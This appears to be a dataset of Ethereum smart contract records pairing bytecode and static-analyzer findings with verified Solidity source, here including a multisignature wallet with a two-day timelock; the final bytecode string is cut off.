09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a25050565b600061133a6123f7565b6000831180156113635750600160a060020a0333166000908152600b602052604090205460ff16155b80156113885750600160a060020a0384166000908152600b602052604090205460ff16155b80156113ab5750600160a060020a0333166000908152600c602052604090205442115b80156113ce5750600160a060020a0384166000908152600c602052604090205442115b15156113d957600080fd5b6113e284612009565b156113f9576113f2848483612011565b9150611404565b6113f2848483612274565b5092915050565b600b6020526000908152604090205460ff1681565b6000808311801561144a5750600160a060020a0333166000908152600b602052604090205460ff16155b801561146f5750600160a060020a0384166000908152600b602052604090205460ff16155b80156114925750600160a060020a0333166000908152600c602052604090205442115b80156114b55750600160a060020a0384166000908152600c602052604090205442115b15156114c057600080fd5b6114c984612009565b156114e0576114d9848484612011565b9050610c38565b6114d9848484612274565b60015460009033600160a060020a0390811691161461150957600080fd5b600083511161151757600080fd5b5060005b8251811015610eab5782818151811061153057fe5b90602001906020020151600160a060020a0316151561154e57600080fd5b81600b600085848151811061155f57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff191691151591909117905582818151811061159d57fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051901515815260200160405180910390a260010161151b565b600c6020526000908152604090205481565b60015433600160a060020a0390811691161461161a57600080fd5b600755565b600160a060020a039182166000908152600a6020908152604080832093909416825291909152205490565b6000806000808551118015611660575083518551145b80156116855750600160a060020a0333166000908152600b602052604090205460ff16155b80156116a85750600160a060020a0333166000908152600c602052604090205442115b15156116b357600080fd5b5060009050805b84518110156118055760008482815181106116d157fe5b9060200190602002015111801561170557508481815181106116ef57fe5b90602001906020020151600160a060020a031615155b80156117455750600b600086838151811061171c57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b801561178a5750600c600086838151811061175c57fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561179557600080fd5b6117bf6305f5e1008583815181106117a957fe5b906020019060200201519063ffffffff611fde16565b8482815181106117cb57fe5b602090810290910101526117fb8482815181106117e457fe5b90602001906020020151839063ffffffff611fcf16565b91506001016116ba565b600160a060020a0333166000908152600960205260409020548290101561182b57600080fd5b5060005b84518110156111885761186184828151811061184757fe5b90602001906020020151600960008885815181106110d257fe5b6009600087848151811061187157fe5b90602001906020020151600160a060020a031681526020810191909152604001600020558481815181106118a157fe5b90602001906020020151600160a060020a031633600160a060020a031660008051602061240a8339815191528684815181106118d957fe5b9060200190602002015160405190815260200160405180910390a360010161182f565b6001546000908190819033600160a060020a0390811691161461191e57600080fd5b60008551118015611930575083518551145b151561193b57600080fd5b5060009050805b8451811015611ba157600084828151811061195957fe5b9060200190602002015111801561198d575084818151811061197757fe5b90602001906020020151600160a060020a031615155b80156119cd5750600b60008683815181106119a457fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b8015611a125750600c60008683815181106119e457fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b1515611a1d57600080fd5b611a316305f5e1008583815181106117a957fe5b848281518110611a3d57fe5b60209081029091010152838181518110611a5357fe5b9060200190602002015160096000878481518110611a6d57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020541015611a9c57600080fd5b611af5848281518110611aab57fe5b9060200190602002015160096000888581518110611ac557fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff611fbd16565b60096000878481518110611b0557fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055611b388482815181106117e457fe5b915033600160a060020a0316858281518110611b5057fe5b90602001906020020151600160a060020a031660008051602061240a833981519152868481518110611b7e57fe5b9060200190602002015160405190815260200160405180910390a3600101611942565b600160a060020a0333166000908152600960205260409020546111b1908363ffffffff611fcf16565b60015433600160a060020a03908116911614611be557600080fd5b600160a060020a0381161515611bfa57600080fd5b600154600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008084118015611c8f5750600160a060020a0333166000908152600b602052604090205460ff16155b8015611cb45750600160a060020a0385166000908152600b602052604090205460ff16155b8015611cd75750600160a060020a0333166000908152600c602052604090205442115b8015611cfa5750600160a060020a0385166000908152600c602052604090205442115b1515611d0557600080fd5b611d0e85612009565b15611fa757600160a060020a03331660009081526009602052604090205484901015611d3957600080fd5b600160a060020a033316600090815260096020526040902054611d62908563ffffffff611fbd16565b600160a060020a033381166000908152600960205260408082209390935590871681522054611d97908563ffffffff611fcf16565b600160a060020a0386166000818152600960205260408082209390935590918490518082805190602001908083835b60208310611de55780518252601f199092019160209182019101611dc6565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611e76578082015183820152602001611e5e565b50505050905090810190601f168015611ea35780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f193505050501515611ec757fe5b826040518082805190602001908083835b60208310611ef75780518252601f199092019160209182019101611ed8565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a031660008051602061240a8339815191528660405190815260200160405180910390a3506001611fb5565b611fb2858585612274565b90505b949350505050565b600082821115611fc957fe5b50900390565b600082820183811015610c3857fe5b600080831515611ff15760009150611404565b5082820282848281151561200157fe5b0414610c3857fe5b6000903b1190565b600160a060020a03331660009081526009602052604081205481908490101561203957600080fd5b600160a060020a033316600090815260096020526040902054612062908563ffffffff611fbd16565b600160a060020a033381166000908152600960205260408082209390935590871681522054612097908563ffffffff611fcf16565b600160a060020a03861660008181526009602052604090819020929092558692509063c0ee0b8a90339087908790518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612130578082015183820152602001612118565b50505050905090810190601f16801561215d5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561217d57600080fd5b6102c65a03f1151561218e57600080fd5b505050826040518082805190602001908083835b602083106121c15780518252601f1990920191602091820191016121a2565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a031660008051602061240a8339815191528660405190815260200160405180910390a3506001949350505050565b600160a060020a0333166000908152600960205260408120548390101561229a57600080fd5b600160a060020a0333166000908152600960205260409020546122c3908463ffffffff611fbd16565b600160a060020a0333811660009081526009602052604080822093909355908616815220546122f8908463ffffffff611fcf16565b600160a060020a03851660009081526009602052604090819020919091558290518082805190602001908083835b602083106123455780518252601f199092019160209182019101612326565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168660405190815260200160405180910390a483600160a060020a031633600160a060020a031660008051602061240a8339815191528560405190815260200160405180910390a35060019392505050565b602060405190810160405260008152905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820c642cdbef25cb9d939e1a451a66aa311175c227ebf7b431fad0f1ed76eb92cd70029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
7,163
0xf349b3f79940432895ea6e663145237da6f0f7b8
pragma solidity ^0.6.0; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <[email protected]> contract MultisigWithTimelock { /* * Events */ event Confirmation(address indexed sender, uint256 indexed transactionId); event Revocation(address indexed sender, uint256 indexed transactionId); event Submission(uint256 indexed transactionId); event Execution(uint256 indexed transactionId); event ExecutionFailure(uint256 indexed transactionId); event Deposit(address indexed sender, uint256 value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint256 required); event NewDelay(uint256 indexed newDelay); /* * Constants */ uint256 public constant MAX_OWNER_COUNT = 50; /* * Storage */ mapping(uint256 => Transaction) public transactions; mapping(uint256 => mapping(address => bool)) public confirmations; mapping(address => bool) public isOwner; mapping(uint256 => uint256) public timelocks; address[] public owners; uint256 public required; uint256 public transactionCount; uint256 public delay = 2 days; struct Transaction { address destination; uint256 value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint256 transactionId) { require(transactions[transactionId].destination != address(0)); _; } modifier confirmed(uint256 transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint256 transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint256 transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != address(0)); _; } modifier validRequirement(uint256 ownerCount, uint256 _required) { require( ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0 ); _; } /// @dev Fallback function allows to deposit ether. receive() external payable { if (msg.value > 0) emit Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. constructor(address[] memory _owners, uint256 _required) public validRequirement(_owners.length, _required) { for (uint256 i = 0; i < _owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != address(0)); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint256 i = 0; i < owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.pop(); if (required > owners.length) changeRequirement(owners.length); emit OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint256 i = 0; i < owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; emit OwnerRemoval(owner); emit OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint256 _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; emit RequirementChange(_required); } function setDelay(uint256 _delay) public { require(msg.sender == address(this)); delay = _delay; emit NewDelay(delay); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return transactionId Returns transaction ID. function submitTransaction( address destination, uint256 value, bytes memory data ) public returns (uint256 transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint256 transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; emit Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint256 transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; emit Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint256 transactionId) public virtual ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId) && timelocks[transactionId] < now) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if ( external_call( txn.destination, txn.value, txn.data.length, txn.data ) ) emit Execution(transactionId); else { emit ExecutionFailure(transactionId); txn.executed = false; } } } // call has been separated into its own function in order to take advantage // of the Solidity's code generator to produce a loop that copies tx.data into memory. function external_call( address destination, uint256 value, uint256 dataLength, bytes memory data ) internal returns (bool) { bool result; assembly { let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention) let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that result := call( sub(gas(), 34710), // 34710 is the value that solidity is currently emitting // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) + // callNewAccountGas (25000, in case the destination address does not exist and needs creating) destination, value, d, dataLength, // Size of the input (in bytes) - this is what fixes the padding problem x, 0 // Output is ignored, therefore the output size is zero ) } return result; } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint256 transactionId) public view returns (bool) { uint256 count = 0; for (uint256 i = 0; i < owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return transactionId Returns transaction ID. function addTransaction( address destination, uint256 value, bytes memory data ) internal virtual notNull(destination) returns (uint256 transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); timelocks[transactionId] = now + delay; transactionCount += 1; emit Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return count Number of confirmations. function getConfirmationCount(uint256 transactionId) public view returns (uint256 count) { for (uint256 i = 0; i < owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return count Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public view returns (uint256 count) { for (uint256 i = 0; i < transactionCount; i++) if ( (pending && !transactions[i].executed) || (executed && transactions[i].executed) ) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public view returns (address[] memory) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return _confirmations Returns array of owner addresses. function getConfirmations(uint256 transactionId) public view returns (address[] memory _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint256 count = 0; uint256 i; for (i = 0; i < owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i = 0; i < count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return _transactionIds Returns array of transaction IDs. function getTransactionIds( uint256 from, uint256 to, bool pending, bool executed ) public view returns (uint256[] memory _transactionIds) { uint256[] memory transactionIdsTemp = new uint256[](transactionCount); uint256 count = 0; uint256 i; for (i = 0; i < transactionCount; i++) if ( (pending && !transactions[i].executed) || (executed && transactions[i].executed) ) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint256[](to - from); for (i = from; i < to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
0x60806040526004361061014f5760003560e01c8063a0e67e2b116100b6578063c64274741161006f578063c6427474146108a8578063d74f8edd146109ae578063dc8452cd146109d9578063e177246e14610a04578063e20056e614610a3f578063ee22610b14610ab0576101ae565b8063a0e67e2b14610659578063a8abe69a146106c5578063b5dc40c314610777578063b77bf60014610807578063ba51a6df14610832578063c01a8c841461086d576101ae565b8063547415251161010857806354741525146103e55780636a42b8f8146104425780637065cb481461046d578063784547a7146104be5780638b51d13f146105115780639ace38c214610560576101ae565b8063025e7c27146101b35780630d7e149f1461022e578063173825d91461027d57806320ea8d86146102ce5780632f54bf6e146103095780633411c81c14610372576101ae565b366101ae5760003411156101ac573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b600080fd5b3480156101bf57600080fd5b506101ec600480360360208110156101d657600080fd5b8101908080359060200190929190505050610aeb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561023a57600080fd5b506102676004803603602081101561025157600080fd5b8101908080359060200190929190505050610b27565b6040518082815260200191505060405180910390f35b34801561028957600080fd5b506102cc600480360360208110156102a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b3f565b005b3480156102da57600080fd5b50610307600480360360208110156102f157600080fd5b8101908080359060200190929190505050610df4565b005b34801561031557600080fd5b506103586004803603602081101561032c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f96565b604051808215151515815260200191505060405180910390f35b34801561037e57600080fd5b506103cb6004803603604081101561039557600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fb6565b604051808215151515815260200191505060405180910390f35b3480156103f157600080fd5b5061042c6004803603604081101561040857600080fd5b81019080803515159060200190929190803515159060200190929190505050610fe5565b6040518082815260200191505060405180910390f35b34801561044e57600080fd5b50610457611077565b6040518082815260200191505060405180910390f35b34801561047957600080fd5b506104bc6004803603602081101561049057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061107d565b005b3480156104ca57600080fd5b506104f7600480360360208110156104e157600080fd5b810190808035906020019092919050505061128d565b604051808215151515815260200191505060405180910390f35b34801561051d57600080fd5b5061054a6004803603602081101561053457600080fd5b8101908080359060200190929190505050611372565b6040518082815260200191505060405180910390f35b34801561056c57600080fd5b506105996004803603602081101561058357600080fd5b810190808035906020019092919050505061143b565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b8381101561061b578082015181840152602081019050610600565b50505050905090810190601f1680156106485780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561066557600080fd5b5061066e611530565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106b1578082015181840152602081019050610696565b505050509050019250505060405180910390f35b3480156106d157600080fd5b50610720600480360360808110156106e857600080fd5b8101908080359060200190929190803590602001909291908035151590602001909291908035151590602001909291905050506115be565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610763578082015181840152602081019050610748565b505050509050019250505060405180910390f35b34801561078357600080fd5b506107b06004803603602081101561079a57600080fd5b8101908080359060200190929190505050611722565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156107f35780820151818401526020810190506107d8565b505050509050019250505060405180910390f35b34801561081357600080fd5b5061081c61194e565b6040518082815260200191505060405180910390f35b34801561083e57600080fd5b5061086b6004803603602081101561085557600080fd5b8101908080359060200190929190505050611954565b005b34801561087957600080fd5b506108a66004803603602081101561089057600080fd5b8101908080359060200190929190505050611a0a565b005b3480156108b457600080fd5b50610998600480360360608110156108cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561091257600080fd5b82018360208201111561092457600080fd5b8035906020019184600183028401116401000000008311171561094657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611bf7565b6040518082815260200191505060405180910390f35b3480156109ba57600080fd5b506109c3611c16565b6040518082815260200191505060405180910390f35b3480156109e557600080fd5b506109ee611c1b565b6040518082815260200191505060405180910390f35b348015610a1057600080fd5b50610a3d60048036036020811015610a2757600080fd5b8101908080359060200190929190505050611c21565b005b348015610a4b57600080fd5b50610aae60048036036040811015610a6257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c92565b005b348015610abc57600080fd5b50610ae960048036036020811015610ad357600080fd5b8101908080359060200190929190505050611f9c565b005b60048181548110610af857fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60036020528060005260406000206000915090505481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b7757600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610bce57600080fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060008090505b600160048054905003811015610d4e578273ffffffffffffffffffffffffffffffffffffffff1660048281548110610c6057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610d4157600460016004805490500381548110610cbc57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660048281548110610cf457fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d4e565b8080600101915050610c2c565b506004805480610d5a57fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905590556004805490506005541115610dad57610dac600480549050611954565b5b8173ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a25050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610e4b57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610eb457600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff1615610ee257600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b60065481101561107057838015611024575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806110575750828015611056575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15611063576001820191505b8080600101915050610fed565b5092915050565b60075481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110b557600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561110d57600080fd5b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561114857600080fd5b600160048054905001600554603282111580156111655750818111155b8015611172575060008114155b801561117f575060008214155b61118857600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506004859080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000905060008090505b60048054905081101561136a57600160008581526020019081526020016000206000600483815481106112c957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611348576001820191505b60055482141561135d5760019250505061136d565b808060010191505061129a565b50505b919050565b600080600090505b60048054905081101561143557600160008481526020019081526020016000206000600483815481106113a957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611428576001820191505b808060010191505061137a565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015490806002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115135780601f106114e857610100808354040283529160200191611513565b820191906000526020600020905b8154815290600101906020018083116114f657829003601f168201915b5050505050908060030160009054906101000a900460ff16905084565b606060048054806020026020016040519081016040528092919081815260200182805480156115b457602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161156a575b5050505050905090565b6060806006546040519080825280602002602001820160405280156115f25781602001602082028038833980820191505090505b509050600080905060008090505b60065481101561169c57858015611637575060008082815260200190815260200160002060030160009054906101000a900460ff16155b8061166a5750848015611669575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b1561168f578083838151811061167c57fe5b6020026020010181815250506001820191505b8080600101915050611600565b8787036040519080825280602002602001820160405280156116cd5781602001602082028038833980820191505090505b5093508790505b86811015611717578281815181106116e857fe5b602002602001015184898303815181106116fe57fe5b60200260200101818152505080806001019150506116d4565b505050949350505050565b6060806004805490506040519080825280602002602001820160405280156117595781602001602082028038833980820191505090505b509050600080905060008090505b6004805490508110156118a0576001600086815260200190815260200160002060006004838154811061179657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611893576004818154811061181b57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811061185257fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b8080600101915050611767565b816040519080825280602002602001820160405280156118cf5781602001602082028038833980820191505090505b509350600090505b81811015611946578281815181106118eb57fe5b60200260200101518482815181106118ff57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505080806001019150506118d7565b505050919050565b60065481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461198c57600080fd5b60048054905081603282111580156119a45750818111155b80156119b1575060008114155b80156119be575060008214155b6119c757600080fd5b826005819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611a6157600080fd5b81600073ffffffffffffffffffffffffffffffffffffffff1660008083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611ad157600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611b3b57600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a3611bf085611f9c565b5050505050565b6000611c0484848461225c565b9050611c0f81611a0a565b9392505050565b603281565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c5957600080fd5b806007819055506007547f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c60405160405180910390a250565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611cca57600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611d2157600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d7957600080fd5b60008090505b600480549050811015611e5f578473ffffffffffffffffffffffffffffffffffffffff1660048281548110611db057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611e52578360048281548110611e0557fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611e5f565b8080600101915050611d7f565b506000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508373ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28273ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf